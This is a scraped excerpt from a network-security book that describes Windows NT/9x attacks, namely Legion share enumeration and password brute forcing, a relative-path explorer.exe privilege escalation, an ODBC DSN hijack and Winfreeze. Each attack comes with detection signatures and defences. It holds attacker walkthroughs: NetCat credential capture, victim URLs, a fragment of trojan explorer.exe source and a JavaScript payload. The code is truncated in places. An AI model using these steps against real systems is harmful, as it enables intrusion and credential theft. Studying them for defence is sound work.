hackers beware the ultimate guide to network security phần 7 pptx

• Name: Legion 2.11 • Variants: SMBscanner, Cerberus Information Security, NBTdump, Cain 2.0, GNIT NT Vulnerability Scanner, Share Finder, Cain & Abel • Operating System: Primarily W

For stand alone NT machines connected to the Internet, disable NetBIOS bindings from the network interface Because it is generally known that many security breaches come from the inside of an organization, care should be taken to limit file sharing altogether If possible, a system

administrator should lock down any Windows 9.X machines on the

network, so users cannot unilaterally enable sharing without the IT

department’s knowledge The Windows 95 Policy Editor (poledit.exe) is a great tool for this

Windows NT workstations are easier to secure, but the default

configuration should be checked to make sure that the network is not vulnerable On an NT-only network, it is possible to disable Lanman

authentication by adding “LMCompatabilityLevel” Value with a Value Type

“REG_DWORD=4” to the following Registry key:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA

The bottom line is that system administrators, along with others tasked with security, need to take security vulnerability warnings and advisories seriously Although the Microsoft vulnerabilities related to NetBIOS and NetBEUI were made public several years ago, many organizations still have not made an effort to shore up their security infrastructure Federal agencies have been forced to start doing so through mandates, such as Presidential Decision Directive (PDD) 63 and other efforts to secure the nation’s critical infrastructure Users need to be educated and held

responsible when they deliberately weaken an organization’s security posture The Federal government is taking steps in the right direction, and the private sector would do well to follow if they haven’t done so already

Legion is a NetBIOS scanner that can enumerate NetBIOS file shares

across large ranges of IP addresses Legion also provides a brute force password cracking component that can be directed against a single

NetBIOS file share

Exploit Details

• Name: Legion 2.11

• Variants: SMBscanner, Cerberus Information Security, NBTdump,

Cain 2.0, GNIT NT Vulnerability Scanner, Share Finder, Cain & Abel

• Operating System: Primarily WFW, Win9x, and WinNT (However,

any operating systems that provides file sharing services via the TCP/IP NetBIOS SMB protocol are potentially affected.)

• Protocols/Services: TCP/IP, NetBIOS, SMB, Windows File Sharing

• Written by: Brad Sanford and Glen Sharlun

Protocol Description—Enumeration Component

Legion performs its enumeration of shares in two phases The first phase consists of a simple port scan looking for systems, which then respond to connection attempts on TCP port 139 (NetBIOS-ssn)

The second phase of the enumeration process revisits each of those

systems that responded to the port scan in phase one with a more

intensive probe As each system is revisited, Legion again establishes a NetBIOS-ssn connection over TCP port 139 This is shown in the following network traffic:

9 LEGIONBOX01 *SMBSERVER TCP: D=139 S=2168 SYN SEQ=100114 LEN=0 WIN=8192

10 *SMBSERVER LEGIONBOX01 TCP: D=2168 S=139 SYN ACK=100115 SEQ=173595 LEN=0

WIN=8760

11 LEGIONBOX01 *SMBSERVER TCP: D=139 S=2168 ACK=173596 WIN=8760

As soon as the three-way handshake is completed, Legion initiates a

NetBIOS session request to the destination system using *SMBSERVER<20>

as the Called NetBIOS name If the destination system is willing to accept the NetBIOS session request, it responds positively, and the session is confirmed

12 LEGIONBOX01 *SMBSERVER NETB: D=*SMBSERVER<20>

S=LEGIONBOX01<00> Session

request

13 *SMBSERVER LEGIONBOX01 NETB: Session confirm

Ironically, we were only able to elicit positive responses from WinNT

systems Both Win95 and Win98 systems gave a negative response to this request (session error 82— called name not present) and did not establish the session Hobbit’s paper, “CIFS: Common Insecurities Fail Scrutiny”, which is available at www.l0pht.com, makes reference to such an

anomaly: “The CIFS spec mentions that the magic target name

“*SMBSERVER” is supposed to be some sort of wildcard, but it is optional and no current Microsoft platforms seem to accept it to open sessions.”

Next, the client initiates an SMB dialect (essentially a version) negotiation

It does this by sending a list of all the SMB dialects supported by the client

to the SMB server, and the SMB server chooses the dialect it determines

to be most appropriate The 8 dialects supported by a WinNT 4.0 SP4 machine are as follows:

SMB: Dialect = "PC NETWORK PROGRAM 1.0"

SMB: Dialect = "XENIX CORE"

SMB: Dialect = "MICROSOFT NETWORKS 1.03"

15 *SMBSERVER LEGIONBOX01 SMB: R Negotiated Protocol 7

Both client and server having agreed to the dialect, the client now initiates

a tree connect to the “hidden” IPC$ share on the SMB server

16 LEGIONBOX01 *SMBSERVER SMB: C Connect IPC

\\10.10.26.194\IPC$

17 *SMBSERVER LEGIONBOX01 SMB: R IPC Connected

Once connected, a named pipe is created over the commands that can be passed

18 LEGIONBOX01 *SMBSERVER SMB: C NT Create \srvsvc

19 *SMBSERVER LEGIONBOX01 SMB: R F=0800 NT Created

20 LEGIONBOX01 *SMBSERVER MSRPC: C Bind(0x0B)

21 *SMBSERVER LEGIONBOX01 MSRPC: R Bind Ack(0x0C)

With the named pipe now established, the client issues the share

enumerate command, and the SMB server responds with the (unicode) names of all the shares on the system, including the “hidden”

administrative shares Legion apparently ignores these administrative shares, however, they are not displayed within the GUI

22 LEGIONBOX01 *SMBSERVER SRVSVC: CALL (Share Enumerate)

23 *SMBSERVER LEGIONBOX01 SRVSVC: RESP (Share Enumerate)

to Frame 22

24 LEGIONBOX01 *SMBSERVER SMB: C F=0800 Read 856 at 0

25 *SMBSERVER LEGIONBOX01 SMB: R Status=OK

Once the work is done, the client tears down the logical NetBIOS session, but leaves the NetBIOS-ssn TCP connection in place to support further communication between these two systems in the future

26 LEGIONBOX01 *SMBSERVER SMB: C F=0800 Close

27 *SMBSERVER LEGIONBOX01 SMB: R Closed

28 LEGIONBOX01 *SMBSERVER TCP: D=139 S=2168 ACK=176113 WIN=7801

Protocol Description—Brute Force Password Cracking Component

The Legion brute force password cracker is very simple from a protocol perspective The client goes through a process almost identical to that previously described to establish a NetBIOS session with the SMB server The main difference is that the brute force password cracker uses the actual NetBIOS name of the SMB server (supplied by the user) instead of

*SMBSERVER as the Called NetBIOS name in the NetBIOS session request After the session is established, the client issues an SMB account setup command using the client computer’s NetBIOS name as the account

passing a different pass-word The SMB server dutifully responds to each

of the invalid attempts with a “Bad password” reply and awaits further attempts

to the same LAN, all 12 attempts at guessing the password were

completed within 200 milliseconds, and the Win95 server never gave any indication that it was under attack At this rate, a 250,000-word dictionary could be processed in just over an hour

Description of Variants

There are not necessarily direct relations between the following variants and Rhino9’s Legion, but the NetBIOS exploit is used (Based on timelines

of development, Legion (as a concept) is likely in the bloodline of most of the following variants.)

Getsvrinfo 1.0 by AbuseLabs

This is a little program coded for Windows NT that obtains the parameters

of a remote Windows NT server Parameters include: NetBIOS name,

NetBIOS domain/workgroup, amount of users currently logged in, and remote operating system version

GNITvse rc1: GNIT Vulnerability Scanning Engine by glitch of ellicit.org

A vulnerability scanner that scans for the following: NBTStat Scan, Null IPC Session Establishment, Net View Scan, Enumerates all Global Groups, Enumerates all Local Groups, and Enumerates all User Accounts

NB4 by Craig at freenet.de

This is a NBTSTAT scanner, written in Batch language, that scans from xxx.xxx.xxx.1 to xxx.xxx.xxx.255 for NetBIOS hosts

NBName by Sir Dystic at CDC

NBName decodes and displays all NetBIOS name packets it receives on UDP port 137 Using the /DENY * command-line option, it responds

negatively to all NetBIOS name registration packets it receives Using the /CONFLICT command-line option, it sends a name release request for each name that is not already in conflict with machines from which it

receives an adapter status response The /FINDALL command-line option causes a wildcard name query request to be broadcast at startup, and each machine that responds to the name query is sent an adapter status request The /ASTAT command-line option causes an adapter status

request to be sent to the specified IP address, which doesn’t have to be on your local network Using /FINDALL /CONFLICT /DENY * disables your entire local NetBIOS network and prevent machines from rejoining it

Net Fizz 0.1 by Zorkeres

Net Fizz is a multithreaded net share scanner for Windows NT only It is fast and has the capability of showing hidden shares

NetBIOS Auditing Tool (NT) 1.0 by Secure Networks Inc

The intention of this package is to perform various security checks on remote servers running NetBIOS file sharing services In the grand

scheme of NetBIOS and Windows NT security, NetBIOS Auditing Tool is fairly small It is, without question, a step in the right direction, but like any software, it needs further development

NTInfoScan 4.2.2 by David Litchfield

NTInfoScan is a security scanner designed specifically for the Windows NT 4.0 operating system It is simple to use; you run it from a command line, and when the scan is finished, it produces an HTML-based report of

security issues found with hyper-text links to vendor patches and further information NTInfoScan is currently at version 4.2.2 It tests a number of services, such as ftp, telnet, and Web service, for security problems In addition to this, NTInfoScan checks NetBIOS share security and User

account security

Winfingerprint 2.2.6 by Kriby Kuehl at technotronic.com

This program allows for advanced remote Windows OS detection Some of the current Features are:

• Determines OS using SMB Queries

• PDC (Primary Domain Controller)

• BDC (Backup Domain Controller)

• NT MEMBER SERVER

• SQLSERVER

• Enumerates Servers

• Enumerates Shares including Administrative ($)

• Enumerates Global Groups

• Enumerates Users

• Displays Active Services

• Ability to Scan Network Neighborhood

• Ability to establish NULL IPC$ session with host

• Ability to Query Registry (currently determines Service Pack Level & Applied Hotfixes)

• Changes: Enumerates Transports, Retrieves Date & Time

Winfo 1.4 by Arne Vidstrom

Winfo uses null sessions to remotely retrieve a list of user accounts,

workstation trust accounts, interdomain trust accounts, server trust

accounts, and shares from Windows NT It also identifies the built-in

Administrator and Guest accounts, even if their names have been

changed Of course, Winfo will show all hidden shares One of the features

is the -n switch, which activates null session mode Without this switch, Winfo can be used to retrieve the information mentioned, but it uses an already established connection to the other computer For example, if null sessions have been restricted, but you have a valid user account, then you can connect first and use Winfo to retrieve the information you need

How the Exploit Works

Legion is not an exploit in the truest sense of the word, however it is a program that can be used in a malicious manner

When used to enumerate shares on an NT system, Legion takes

advantage of the fact that a default installation of an NT system allows anonymous users to connect to the interprocess communication share, IPC$, without a password This connection can then be used as a conduit through which various information gathering commands can be passed to the target system Although Microsoft has provided a mechanism to

disallow these “null sessions” since Service Pack 3, a default installation of

an NT system, even with the latest Service Pack applied, still allows

anonymous connections of this type In addition to file shares, other key pieces of information, such as users, groups, and Registry settings, can all

be enumerated through this null session Manual modifications to the Registry are required to remedy this vulnerability

Legion is an effective tool when it is used as a brute force password

cracker against NetBIOS shares with share-level access for several

reasons First and foremost, when directed against a Win9x system, the operating system provides no innate capability to detect the attack! No logs or audit trails are written and no alerts are generated that would inform the user of the system that it is under attack Furthermore,

Windows provides no mechanism for locking out access to a NetBIOS share after a given number of failed logon attempts Additionally, the Windows implementation of NetBIOS file sharing provides no time penalty for an invalid logon attempt Instead, an invalid logon attempt is

immediately acknowledged as such, thus allowing the malicious client to quickly make additional authentication attempts Finally, users choose poor passwords or no passwords at all too often when establishing shares

Diagram—Share Enumeration

The following is a diagram of the process that occurs when enumerating shares:

Diagram—Brute Force Password Cracking

The following is a diagram of the process that occurs when cracking

passwords:

How to Use Legion

When Legion is started, the initial GUI screen appears and gives the user two primary scan types from which to choose, “Scan Range” and “Scan List.” The Scan Range option enables the user to scan a range of IP

addresses up to an entire class B network To perform this function, the user simply has to check the Scan Range radio button, fill in the starting and ending IP addresses of the range they want to scan, choose a

connection speed, and click the Scan button This is shown in Figure 12.9

Figure 12.9 The initial screen for Legion

Similarly, to scan a list of individual IP addresses, the user only needs to check the Scan List radio button, type each target IP address into the Scan List box, click add, select a connection speed, and then begin the scan by clicking the Scan button This is shown in Figure 12.10 If the user has a large list of target IP addresses to scan, Legion makes it easy to import the list of IP addresses from a standard text file by clicking the Import List button

Figure 12.10 Providing Legion with the information it needs to run a scan

Regardless of the scan type chosen, the results are presented in a familiar Explorer-like tree view, as shown in Figure 12.11 By navigating this tree, the user can now map any share by highlighting it in the left panel and clicking the Map Drive button at the bottom of the screen

Figure 12.11 Results from running a scan with Legion

Legion then automatically maps the share to the first available drive letter and notifies the user of the action, as shown in Figure 12.12

Figure 12.12 Legion automatically mapping the share to the next available

drive letter

The user may also want to export the list of discovered shares to a text file for later use by an alternate utility or simply for reference This can be accomplished by clicking the Save Text button The output is a standard text file in the format of \\ HOSTNAME \SHARENAME, as shown in Figure 12.13

Figure 12.13 Text file produced when the list of discovered shares is exported

When the user wants to attempt a brute force password cracking attack (which in reality is a dictionary attack) against a NetBIOS share with

share-level access, the user can initiate the Brute Force Password

Cracking Tool by clicking the Show BF Tool button at the bottom of the screen The Force Share window then appears, as shown in Figure 12.14 The user must type the name of the target share in the Path dialog box, add one or more word lists to the Word Lists dialog box, and then click the Start button

Figure 12.14 Legion attempting to perform a brute force password cracking

attack

Legion displays a response informing the user whether or not the brute force attempt was successful, as shown in Figure 12.15

Figure 12.15 Successful brute force password attack with Legion

If successful, Legion automatically maps the share to the first available drive and informs the user, as shown in Figure 12.16

Figure 12.16 Legion automatically mapping to shared drive after the password

was cracked

Signature of the Attack

The true signature of a Legion enumeration attempt, as well as many other enumeration attempts, are inbound NetBIOS session TCP

connections to TCP port 139 Unfortunately, Microsoft has not

implemented a native capability into its platforms that allow for the

monitoring and logging of network-level events such as these On WinNT systems, the share enumeration component of Legion does result in the

generation of a Privilege Use Success Event #576 in the Security Event Log, and the brute force password cracking tool results in the generation

of Logon/Logoff Failure Events #529 (and potentially #539 if the account gets locked out) in the Security Event Log This is shown in Figure 12.17

Figure 12.17 NT EventViewer log showing indication of a Legion attack

Upon a more detailed investigation, it becomes evident that the Privilege Use Event #576 is generated in response to the granting of the

SeChangeNotifyPrivilege to the new logon, as shown in Figure 12.18

Figure 12.18 Detailed view of the privilege use event log generated by legion

The Logon/Logoff Failure Event #529, Figure 12.19, looks just like any other “Unknown user name or bad password” logon failure from a remote workstation (Logon Type: 3), and the “Account locked out” Logon/Logoff Failure Event #539, Figure 12.20, looks like it as well It should, however,

be relatively easy to distinguish between the brute force password

guessing attempts of a tool, such as Legion, and the occasional invalid password simply because of the sheer volume of invalid logon attempts generated by Legion and the short time span over which they occur

Figure 12.19 Event #529, “unknown user name or bad password” log entry

Figure 12.20 Event #539, “account locked out” log entry

One fact worth noting about these Event log entries is that although

Microsoft has chosen to record the workstation name from which these attempts originate, (this can be easily spoofed by simply changing the workstation name) they have neglected to record the source IP address of the attempts, thereby making the incident handling process that much harder

That being said, at least WinNT writes a log entry—Win9x systems don’t even do that There is no innate capability to record or detect any kind of attack signature whatsoever on these platforms

Fortunately, the personal firewall market has finally started to mature, and there are some very good Win9x-/WinNT-based firewalls, which are not very expensive and do an excellent job of detecting, recording,

blocking, and alerting the user to unwanted network activity directed at their workstation One of my favorites is @Guard, which was originally a WRQ product, but it is now part of the Norton Internet Security Suite of products This is just one of several quality products that are available

With such a product installed, it is easy to identify unwanted network activity Figure 12.21 shows the @Guard log file, captured on a Win95 system, which makes evident the tell tale signs of the brute force

password cracking component of Legion Multiple inbound connection attempts to the NetBIOS-ssn TCP port 139 are clearly visible in the log Furthermore, the attack was blocked, and the IP address of the offending system was easily obtained from the log

Figure 12.21 @Guard log file showing a Legion attack

How to Protect Against Legion

Depending on which version of Windows you are running, there are

different ways to protect against Legion

For Win9x systems:

1 If the system is not connected to a LAN and does not need to share files across the Internet, unbind “Client for Microsoft Networks” and

“File and printer sharing for Microsoft Networks” from every network adapter using TCP/IP

2 If you are connected to a LAN and you must use NetBIOS file

sharing, adhere to the Principle of Least Privilege when granting access to those shares That is share only the directories that are absolutely required, make the share read only if possible, grant only user-level share access, if your version of Win9x supports this

option, and be certain to use strong passwords for share-level

access to file shares

3 Install a personal firewall, implement a security policy that denies inbound access to the NetBIOS over TCP ports (TCP and UDP ports

135 through 139), and monitor the firewall logs for signs of illicit activity

For WinNT Systems:

1 Prevent the anonymous user from connecting to a null session and enumerating system information by setting the RestrictAnonymous Registry key See Microsoft Knowledge Base article Q143474 for information regarding the implementation of this feature

2 If you are connected to a LAN, and you must use NetBIOS file

sharing, adhere to the Principle of Least Privilege when granting access to those shares (That is share only the directories that are absolutely required, make the share read only if possible, grant user-level share access only to required individuals.)

3 Install a personal firewall, implement a security policy that denies inbound access to the NetBIOS over IP ports, (TCP and UDP ports

135 through 139) and monitor the firewall logs for signs of illicit activity

4 Ensure that the account policy is configured to lock out all accounts after a small number of unsuccessful login attempts

For the Network:

Block all inbound network traffic destined for the NetBIOS over IP ports (TCP and UDP ports 135 through 139) at the perimeter firewall or

• http://www.technotronic.com/rhino9/

Relative Shell Path Vulnerability

This exploit is a variant of the traditional Trojan horse mechanism, in

which a bogus and potentially malevolent executable is made to

masquerade as and/or launch an authentic executable It also qualifies as

a privilege escalation exploit, which allows a user with limited privileges to

gain more privileges by exploiting a system vulnerability

Exploit Details

• Name: Relative Shell Path” Vulnerability

• Variants: none

• Platforms Affected: Windows NT 4.0 and Windows 2000

• Protocols/Services: This vulnerability exists through the Windows

API call “CreateProcess” and its particular usage in conjunction with

invoking executables whose paths are contained in the Windows NT/2000 Registry

• Written by: Earl Ray Evans

It is possible for a non-privileged user to cause Windows NT 4.0 or

Windows 2000 to invoke an alternate, bogus version of explorer.exe

(desktop) during logon sessions, instead of the authentic explorer.exe executable

This means that the non-privileged user could cause anyone who logs into the machine (including a privileged user) to run the non-privileged user’s code of choice upon logon

• Rootkits that contain executables, which hide the fact that an

attacker has compromised a system

Trojan horses are often part of a progressive exploit in which a system

vulnerability is used to allow the attacker to plant the malevolent Trojan code into the system For example, in the specific case contained in this document, the vulnerability allows the attacker to replace the legitimate explorer.exe (essentially, the Windows desktop) with arbitrary code

How the Exploit Works

When a Windows NT 4.0 or Windows 2000 system function calls for

invocation of an executable with a relative (not fully specified) pathname,

it searches a predictable set of paths to find the executable The most likely sequence is:

1 %SystemDrive%\ (for example, C:\)

2 %SystemRoot%\System32 (for example, C:\WINNT\System32)

3 %SystemRoot% (for example, C:\WINNT)

These paths are defaults, and may be different on some machines

depending on installation choices Detailed information on these paths and what they represent can be found in the “Additional Information” section

of this exploit description

If an attacker somehow places an executable with the same name as a legitimate executable earlier in the search path sequence, and if the

executable is invoked with a relative (not fully qualified) path name, the attacker’s executable will be invoked instead of the legitimate executable This requires that:

• The attacker has read/write privileges to a directory in the search path

• The executable is not specified with a fully qualified path name

By default, users on a machine have read/write access to a directory in the search path—the root of the system drive (for example, C:\) Also, by default, the Registry entry that calls explorer.exe (the Windows desktop) upon logon uses a relative path name (explorer.exe) instead of a fully-qualified pathname

So, by placing a bogus executable named explorer.exe in the C:\

directory, an attacker can cause any user logging in to the machine to run the bogus explorer.exe in the logon sequence The bogus explorer.exe might then run the real explorer.exe (to avoid suspicion), but would also perform actions to help the attacker gain further privileges on the

machine

How to Use It

This exploit permits a non-privileged user to surreptitiously cause a

privileged user to run arbitrary code under the security context of the privileged user upon logon One good way to take advantage of this ability would be to cause code to be invoked, which adds a new privileged user account to the system

The sample exploit that I have tested and documented includes the

following steps:

1 Create a bogus explorer.exe file, which first invokes the authentic explorer.exe (in the \WINNT directory), but which also runs a utility (addusers.exe) to add a new, privileged user account to the system

2 Login interactively to the target machine as a non-privileged user

3 Place the bogus explorer.exe, addusers.exe, and the support file accounts.txt in the C:\ directory

4 Await a privileged user to log into the machine

5 Return to the machine and log in using the new, privileged account Welcome to the Administrators group!

Signature of the Attack

Strange files placed in the C:\ directory are a sign that something is

amiss In particular, a file named explorer.exe in the C:\ directory is a dead giveaway

How to Protect Against It

Microsoft patches are available to fix this specific problem See the

Microsoft Bulletin and FAQ for additional details, which is located at

2 Change file permissions on systems as appropriate to safeguard directories

3 Use host intrusion detection tools (such as Tripwire) to detect and alarm when changes are made to key directories

4 Use auditing to log and discover key system changes (such as the addition of a new, privileged user account)

Source Code/Pseudo Code

I have included source code that (in concert with the addusers.exe utility from the Windows 2000 Resource Kit) demonstrates how this vulnerability can be exploited I have successfully tested this code on a Windows 2000 Professional platform

The bogus program explorer.exe is created from the following explorer.c source file This was compiled with the C compiler in Microsoft Visual

char* args[4]; // Pointers to arguments for

executable

void main ()

{

/* Run the real explorer first */

/* without waiting (_P_NOWAIT) before launching the */ /* subsequent executable This makes the exploit less

/* Run the Resouce Kit addusers.exe program */

/* with the "/c" parameter (add users) and using the

The explorer.exe relies on addusers.exe, a utility found in both the

Windows NT 4.0 and Windows 2000 Resource Kits (addusers.exe is not contained in the submitted exploit enclosure because it is a licensed

program from Microsoft and must be purchased as part of the Resource Kit.)

In this instance of the exploit, addusers.exe (with the “/c” option) uses the following configuration file (accounts.txt):

[User]

erictest,Eric Test,,,,,,

[Local]

Administrators,,erictest

accounts.txt

The format of accounts.txt is fairly straightforward This configuration file instructs addusers.exe to add a new user (erictest), and places that user in the local Administrators group

2 The utility addusers.exe and the support file could be placed in

another directory to avoid suspicion

3 A clean-up script could be used to delete the files after execution to avoid detection

Additional Information

Microsoft has produced a security bulletin that explains this vulnerability and provides information on obtaining and installing a patch The bulletin can be found at:

http://www.microsoft.com/technet/support/kb.asp?ID=269049

More information and potential exploit alternatives are provided by Alberto Aragones of The Quimeras Company This information can be found at:

http://www.quimeras.com/secadv/ntpath.htm

NT DSN Hijack Using ODBC Datasource Tools

This exploits illustrates why it is important to remove any unneeded code off of the system Any extraneous code could be used by an attacker to compromise the system

Exploit Details

• Name: NT DSN Hijack

• OS Vulnerable: Windows NT 3.5 and 4, IIS3/4, MS SQL 6.5

• Other: Windows NT running MS proxy server 2

• Applications: ODBC datasource tools included with IIS

(mkilog.exe, newdsn.exe, mkplog.exe)

• Exploit Type: DoS, Information Gathering, and Intrusion

• Services used: IIS Web server, SQL server

• Protocols used: HTTP, SQL socket over TCP/IP

• Tools used: a Web browser, NetCat, ODBC, Rhino9s Grinder2

• Written by: Björn Persson

Though it is common practice not to leave any of the IIS demo pages and applications available on an exposed server, the implications of this

security hole can be quite devastating By taking in to consideration that the executables used in this exploit are distributed with both IIS and MS proxy in two different variations, it becomes quite apparent that this is a widespread and often overlooked security hole

The NT DSN Hijack exploit can be used maliciously in a number of ways:

• Disables service/application logging to ODBC

• Disables functionality on an ODBC-/database-dependant web site

• Disables functionality of any other ODBC-dependant applications

• Writes files to the vulnerable servers local hard drive

• Hijacks and redirects ODBC traffic to a third-party server

• Hijacks and obtains SQL server usernames and passwords

How the Exploit Works

By using the ODBC Datasource Tools included with IIS, a malicious

attacker is able to overwrite the existing ODBS DSN settings in the

vulnerable NT 4 Servers Registry from a remote location over the

Internet The default NT permissions in the Registry does not protect the DSN settings nor the IIS settings, which makes a “Hijack” or modification

of a Data Source on the Server possible An attacker can then point the DSN to a computer under his control, sniff the username and password, access the victims SQL server, and steal sensitive data, or even replicate the data structure and set up a fully functional database continuously being fed data from the victim’s server All the needed tools are already

on the server making the attack possible from virtually any platform and location

How to Use the Exploit

Now lets go step by step and describe how the attack would be done, from the viewpoint of the attacker The lab setup is as follows:

Attacker:

Working on a remote network over the Internet, the attacker’s computer

is running NT Server The attacker is not using any protective measures or cloaking techniques

Victim:

The web server is running a Windows NT 4 Server, Microsoft IIS 4, and the files in Inetpub\scripts\tools that are distributed with IIS have not been removed nor has the virtual directory /scripts/, which is setup with IIS initial installation

The victim’s web site uses Active Server Pages (ASP) and a SQL 6.5

database on a separate server

Identifying the Victim

To identify a victim, the following criteria must be met:

• NT Running IIS or MS proxy 2

• The IIS/MS Proxy SQL logging tools are accessible and executable

• Has an ODBC DSN set up for a SQL server

Finding the Victim

Start off by running Rhino9’s Grinder 2, and set it up to scan the victim’s subnet for the files:

/scripts/tools/mkilog.exe

or alternatively,

/scripts/tools/mkplog.exe

Determine the Available Data Source Names

After you have established which servers have these tools executable, go

to this URL using your web browser:

http://www.victim.com/scripts/tools/mkilog.exe

This page is meant to be a tool to create a database table in SQL for IIS logging purposes However, what we want is just the list of configured SQL DSNs on the victim machine On the page, you will find a dropdown menu, as shown in Figure 12.22, containing all the SQL DSNs (Note that these are only the SQL DSNs.)

Figure 12.22 The SQL log table page helps you determine which SQL DSNs are

set up on the system

After you have decided which DSN to hijack, write down its name, in this

case, we select the DSN named LocalServer

The next step is to redirect the ODBC connection to a rogue server, but first we will set up a machine to listen for the information on your rogue server (in this case, we will use 192.168.1.33)

Setting Up a Rogue Server

Set up NetCat to listen to the default SQL TCP/IP socket 1433 You do this

by opening up a command prompt and typing “NC –L –p 1433 –v –v”, then press enter NC is the NetCat executable, -L stands for Listen Harder and enables NetCat to continue listening even after the first connection has been dropped –p 1433 sets the port to listen to 1433 –v makes NetCat print out additional info in the connections made to the port

NetCat has now been configured to receive information from the victim server

The Hijack—Modifying the Existing DSN

Now we need to redirect the ODBC connection on the victim server to the rogue server

In your web browser type this URL:

http://www.victim.com/scripts/tools/dsnform.exe?SQL+Server

Remember the “SQL+Server” because this enables the SQL-specific

configuration fields

You will now see the form for setting up a new DSN, which is shown in

Figure 12.23 However, this turns out to be just as useful if you want to change an existing DSN

Figure 12.23 To hijack your target server, enter the chosen DSN name and your

rogue server with NetCat listening

In the Datasource Name to Create: field, enter the DSN you want to take over

Enter LocalServer In the Server Name field, enter the IP of your rogue server

Enter 192.168.1.33 Leave the Attribute String field empty Push the

Create Datasource button You should now receive a message saying Database Successfully Created You have successfully hijacked the DSN

Getting the Usernames and Passwords

The DSN is now pointing to your server, directing any logins and queries

to the rogue server in your control All we need to do now is wait for a query to be made

To shorten the wait, the server can be stimulated to send its accounts by simply browsing through the site manually or using a spider Web

registration forms, searches, shopping carts, and ASP applications will give a result most of the time, and sometimes—far too often—an SA

account An attacker would most likely avoid leaving more tracks than absolutely necessary unless he is hiding his location one way or another

Every time the ODBC connection to this DSN is used, the username and password will appear in the console window on the rogue server in clear text, as shown in Figure 12.24

Figure 12.24 In the previous example a connection has been attempted through the hijacked DSN, and the result is shown on the rogue server running NetCat Circle 1 shows the account trying to connect Circle 2 is its password in

clear text

After receiving each attempt to connect from the victim server, NetCat resumes its listening, waiting for the next attempt NetCat can also be set

up to save all output to a text file for later harvesting

Finding the SQL Server

After the SQL username and password have been retrieved, all an

attacker needs to do is locate the SQL server For example, this can be done by scanning the subnet for servers with port 1433 opened, or by doing a scanning over NetBIOS using NetStat –a to find the SQL server Once located, the attacker is free to enter using the username and

password

At this point, the attacker can also reconfigure the DSN back to the

original server to minimize the chance of the hack being discovered

Should the server be secured behind a firewall, the attacker could try to access the database using the ADO samples that come with IIS, if they still are available on the server, however this technique is beyond the scope of this exploit

Anatomy of the Attack

The following are the steps one would take to launch the attack:

1 Information Gathering through URL scanning, Port Scanning, and NetBIOS Scanning

2 Setup of rogue server

3 Compromising the ODBC DSN on the victim server

4 Collection of SQL accounts

5 Intrusion on SQL Server

6 Cover the tracks

Signature of a DSN Hijack Attack

The following are the signatures of this attack:

• IIS logs contain accesses to mkilog.exe and newdsn.exe

• SQL connections failing or timing out

• Unauthorized servers in ODBC DSN configurations

• Access to SQL server from unauthorized remote IP

Examining IIS Logs

When examining the IIS logs, the victim will find entries similar to the following (log entries have been modified for readability):

GET /scripts/tools/getdrvrs.exe

The information of interest in these entries is of course the IP, and the time and date of the client accessing (for tracking down) However, if we examine the last line, we will also find the name of the DSN hijacked and the IP of the rogue server used to collect the usernames and passwords:

Other symptoms are users complaining that the web site or other

applications using the ODBC connection are not working Misconfigured or changed DNS entries in the ODBC configurations are also a sign of an

attack If auditing is enabled and configured correctly on the NT Registry,

a write to the subkeys HKLM\ SOFTWARE\ODBC\ should trigger an alert and an entry in the NT security event log

Diagram of the Attack

Figure 12.25 shows a diagram of the attack

Figure 12.25 Diagram of the Attack

How to Protect Against It

Removing all files under the inetpub\scripts\tools directory on exposed servers will effectively secure the systems If SQL logging in IIS is desired and needs to be set up, this can be done from a server behind a firewall

or an otherwise protected server Another way is to set permissions on the

NT Registry key,HKLM\SOFTWARE\ ODBC\, and deny IUSR_Victim (used for the anonymous web access) write access

Putting the SQL server behind a firewall protects it to some extent from being compromised, but it does not protect the web server or proxyserver from a DOS attack, and it still sends the SQL username and password to the attacker

Microsoft provides a good checklist for securing an IIS web server You can access this at:

http://www.microsoft.com/security/products/iis/checklist.asp

However, simply following the Microsoft checklist will not protect you

against the DSN Hijack vulnerability

Additional Information

Additional information can be found at the following web sites:

• Microsoft Internet Information Server http://www.microsoft.com/iis/

• Microsoft NT 4 Server http://www.microsoft.com/

• Microsoft IIS Security Checklist

http://www.microsoft.com/security/products/iis/checklist.asp

• NetCat 1.1 for NT http://www.l0pht.com/~weld/netcat/

Winfreeze

This exploit is really a spoofing exploit, however it shows that when an attacker uses some creativity and sends it to an unexpected system, it can cause problems

• Name: Winfreeze

• Operating System: WINNT, Win9x

• Protocols/Services: The exploit code is a small script that runs on

a UNIX-based machine and uses ICMP redirect packets to crash a Windows system

How the Exploit Works

The attacker will initiate ICMP/Redirect host messages storm, which look like they are coming from the router This is accomplished by spoofing the internal IP address of the router The victim’s Windows machine will

change its routing table because of the redirect host messages it is

receiving from the spoofed device This event causes the victim’s Windows machine to freeze and loose network functionality

How to Use the Exploit

Winfreeze is the executable used It is run from a command prompt and only requires the IP of the intended target

Signature of the Attack

The easiest way to detect this exploit is to look for an ICMP packet flood destined for the IP address of the internal interface of the router

How to Protect Against It

Configure the network devices to block spoofing attempts This can be done by using anti-spoof filters, which are available on most routers

Additional Information

Additional information and the source code can be found at:

• www.antionline.com/cgi-bin/Antisearchlinks.cgi?ID=46325091&url=http://www.anticode.com

• www.microsoft.com

Microsoft Windows Media Player JavaScript URL

• Operating System: Windows NT, 2000, 9x

• Protocols/Services: Microsoft Windows Media Player 7

How the Exploit Works

An attacker can execute a JavaScript URL from within the Windows Media Player ActiveX control, which is embedded in HTML This JavaScript can be executed in arbitrary frames that are specified within the ActiveX control This allows an attacker to take over the frame’s document object model, which will bypass the security restrictions on the victim’s machine This is accomplished by having the victim visit a special web page An attacker exploiting this vulnerability has the ability to read files and execute

arbitrary programs on the victim’s system

How to Use the Exploit

The easiest way to run this exploit is to activate the given script through any web browser

How to Protect Against It

This vulnerability requires that ActiveX and JavaScript are enabled on the victim’s machine Adjusting the security settings in Microsoft’s Internet Explorer can stop it If ActiveX and Active Scripting options are set to Disabled, this vulnerability will be prevented

Source Code/Pseudo Code

The following is the code used to launch this exploit:

<object id="o1"

{

document.o1.object.launchURL("javascript:alert(document.body.innerText)");

By default, the program mstask.exe listens to ports between 1025 and

1220 A local or remote user can cause a CPU utilization Denial of Service attack if malformed arguments are sent to the mstask.exe service By default, mstask.exe enables connections through the local host only A restart of the infected system is required to gain normal functionality

Exploit Detail

• Name: Microsoft Internet Explorer ‘mstask.exe’ CPU Consumption

Vulnerability

• Operating System: Windows NT, 2000, 9x

• Protocols/Services: Task scheduler engine (mstask.exe) IE 5.0

and 5.1

How the Exploit Works

